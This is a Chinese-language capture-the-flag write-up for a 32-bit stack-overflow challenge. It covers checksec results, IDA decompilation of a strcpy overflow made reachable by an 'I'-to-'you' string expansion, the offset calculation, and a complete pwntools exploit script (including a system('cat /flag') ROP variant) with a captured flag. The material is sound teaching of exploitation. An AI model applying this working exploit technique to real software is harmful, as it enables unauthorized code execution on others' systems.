PWN

Overflow

从题目中下载得到 pwn 文件，根据题目提示可以知道这道题应该是利用 Overflow 漏洞来做，先使用 checksec 工具检查压缩包文件：

1.是否有 stack canary？若存在 canary，需要另外的绕过（更复杂）。

2.是否编译为 PIE？PIE on 会让代码段地址每次改变，返回地址跳到静态函数地址就不稳。

3.NX（DEP）是否启用？若启用不能直接把 shellcode 写到栈上并 jmp 到栈上；要用 ret2libc 或 ROP 或直接调用已有函数（比如题目中可能有 get_flag）。

结果显示开启了 NX 保护，但是未开启 stack canary 和 PIE，即静态反汇编的地址可以直接使用，可利用覆盖返回地址到已知固定地址（PLT 或本地函数）。

```
(base) gaile@gaile-virtual-machine:~/ctf$ checksec --file=overflow++
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   129) Symbols      No    0               3               overflow++
```

把该文件放到 linux 中运行，可以看到有一个输入、输出的操作：

```
(base) gaile@gaile-virtual-machine:~/ctf$ ./overflow++
Tell me something about yourself: aaaaaaaaaaaaaaaaaaaaaaa
So, aaaaaaaaaaaaaaaaaaaaaaa
```

然后把 overflow 文件丢进 IDA 里进行反编译分析，先看 main 函数，由于比较简短，所以我进一步看了调用的 vuln 函数：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
```

```
Function name
f get_flag
f main
f printf
f register_tm_clones
f replace
f std::__distance<__gnu_cxx::__normal
f std::__iterator_category<__gnu_cxx:
f std::__throw_logic_error(char const
f std::__throw_logic_error(char const
f std::allocator<char>::allocator(voi
f std::allocator<char>::allocator(voi
f std::allocator<char>::~allocator()
f std::allocator<char>::~allocator()
f std::distance<__gnu_cxx::__normal_i
f std::ios_base::Init::Init(void)
f std::ios_base::Init::Init(void)
f std::ios_base::Init::~Init()
f std::ios_base::Init::~Init()
f std::operator+<char,std::char_trait
f std::operator==<char>(std::allocato
f std::string::_Alloc_hider::_Alloc_h
f std::string::_Alloc_hider::_Alloc_h
f std::string::_Rep::_M_destroy(std::
f std::string::_Rep::_M_destroy(std::
f std::string::_Rep::_M_refdata(void)
f std::string::_Rep::_M_refdata(void)
f std::string::_Rep::_M_set_length_an
f std::string::_Rep::_M_set_length_an
```

```
int vuln()
{
  int v0; // eax
  char v2[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(v2, 32, edata);
  std::string::operator=(&input, v2);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = std::string::c_str((std::string *)&input);
  strcpy(v2, v0);
  return printf("So, %s\n", v2);
}
```

可以看到 vuln 函数最后有一句 strcpy(v2, v0);，v2 是栈上一个 32 字节的缓冲区 char v2[32]。v0 来自 std::string::c_str(&input)，也就是说 strcpy 会把 input 里内容按字节全部拷贝到 v2，直到遇到“\0”为止。strcpy 不会做长度检查，如果 input 的长度大于 v2 能容纳的长度，就会覆盖栈上 v2 之后的局部变量、saved EBP、返回地址等——典型的栈溢出用来覆盖返回地址。

因此比较简单的思路就是：让最终的 input.c_str()包含一个足够长的字符串（可控），用 strcpy 把它拷进栈区，从而覆盖返回地址，跳到我们想要的函数——程序中已有的 get_flag。

此外，反编译中我看见这些信息：

v4 初始化为"you"，v6 初始化为"I"，并且调用了 replace((std::string *)v3);然后 std::string::operator=(&input, v3, v6, v4);

我猜测程序对字符串做了“把所有 I 替换成 you”这类操作，也就是用短字符串替换为长字符串，从而把短的用户输入扩展为更长的最终 input。这是溢出题目常用的绕过 fgets 限制的套路。

```
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
```

在 linux 中执行代码并观察变换：输入 A*24+I*20 在 strcpy 时变成 A*24+you*7（每个 I 被替换为 you），证实替换规则 I->you，但 fgets 限制仍然存在，只有前 31 字节的输入被读取进 v2 并作为最初的 std::string 来源

```
(base) gaile@gaile-virtual-machine:~/ctf$ python3 -c "print('A'*24 + 'I'*20)" | ./overflow++
Tell me something about yourself: So, AAAAAAAAAAAAAAAAAAAAAAAyouyouyouyouyouyouyou
```

接着计算偏移，从 v2（[ebp-0x3C]，长度 0x20）到 saved EIP 的偏移：distance=0x3C+4=0x40=64 字节→savedEIP 在第 65~68 字节（从 v2 起算）。

下图为从 IDA 中获取到的局部变量 v2 的偏移：

```
-000000000000003E                db ? ; undefined
-000000000000003D                db ? ; undefined
-000000000000003C var_3C         db ?
-000000000000003B                db ? ; undefined
-000000000000003A                db ? ; undefined
```

我们实际控制的来源是输入 S（≤31 字节），其中的每个 I 会被替换为 you（长度从 1→3），因此可以利用短字符串映射到扩展后的最终字符串。目标是让扩展后字符串的前 64 字节为填充，紧接着的 4 字节为我们要覆盖的返回地址。

只需求解一个简单的整数方程即可：n+3*m=64（n 是 A 的数量，m 是 I 的数量），且 n+m+4≤31（最后要在短输入里放 4 字节地址）。一个可行解：n=7,m=19。

最后根据上面的分析写出脚本：

```python
from pwn import *
import sys, time
host = 'cssc.vul337.team'
port = 49180
binary = './overflow++'
elf = ELF(binary)
context.binary = elf
```

```python
context.arch = 'i386'
context.log_level = 'info'
prefix_As = 7
num_Is = 19
system_plt = elf.plt.get('system', None)
exit_plt   = elf.plt.get('exit', None)
get_flag   = elf.symbols.get('get_flag', None)
cat_addr_candidates = list(elf.search(b"cat /flag"))
cat_addr = cat_addr_candidates[0] if cat_addr_candidates else None
log.info("system@plt: %s" % (hex(system_plt) if system_plt else "not found"))
log.info("exit@plt: %s" % (hex(exit_plt) if exit_plt else "not found"))
log.info("get_flag: %s" % (hex(get_flag) if get_flag else "not found"))
log.info("'cat /flag' addr: %s" % (hex(cat_addr) if cat_addr else "not found"))
def payload_getflag(getflag_addr):
    return b'A'*prefix_As + b'I'*num_Is + p32(getflag_addr)
def payload_system(system_addr, exit_addr, cat_addr):

    return b'A'*prefix_As + b'I'*num_Is + p32(system_addr) + p32(exit_addr if exit_addr else 0x0) + p32(cat_addr if cat_addr else 0x0)
if get_flag:
    log.info("Trying direct get_flag() exploit first...")
    p = remote(host, port, timeout=8)
    try:
        p.recvuntil(b"Tell me something about yourself: ", timeout=5)
    except Exception as e:
        log.error("Didn't get prompt: %s" % e)
    p.sendline(payload_getflag(get_flag))

    try:
        out = p.recvall(timeout=4)
        if out:
            print("=== Response from get_flag attempt ===")
            print(out.decode(errors='ignore'))
        else:
            print("No output from get_flag attempt.")
    except Exception as e:
        log.warn("Error reading reply after get_flag attempt: %s" % e)
    p.close()
else:
    log.warn("get_flag not available locally; skipping get_flag attempt.")
```

输出结果如下：

```
(base) gaile@gaile-virtual-machine:~/ctf$ python exploit.py
[*] '/home/gaile/ctf/overflow++'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    Stripped: No
[*] system@plt: 0x8048c40
[*] exit@plt: not found
[*] get_flag: 0x8048f0d
[*] 'cat /flag' addr: 0x80497f0
[*] Trying direct get_flag() exploit first...
[+] Opening connection to cssc.vul337.team on port 49180: Done
[+] Receiving all data: Done (43B)
[*] Closed connection to cssc.vul337.team port 49180
=== Response from get_flag attempt ===
flag{0a67aa43-43c4-4c80-93bc-43b4c0b9f0df}
```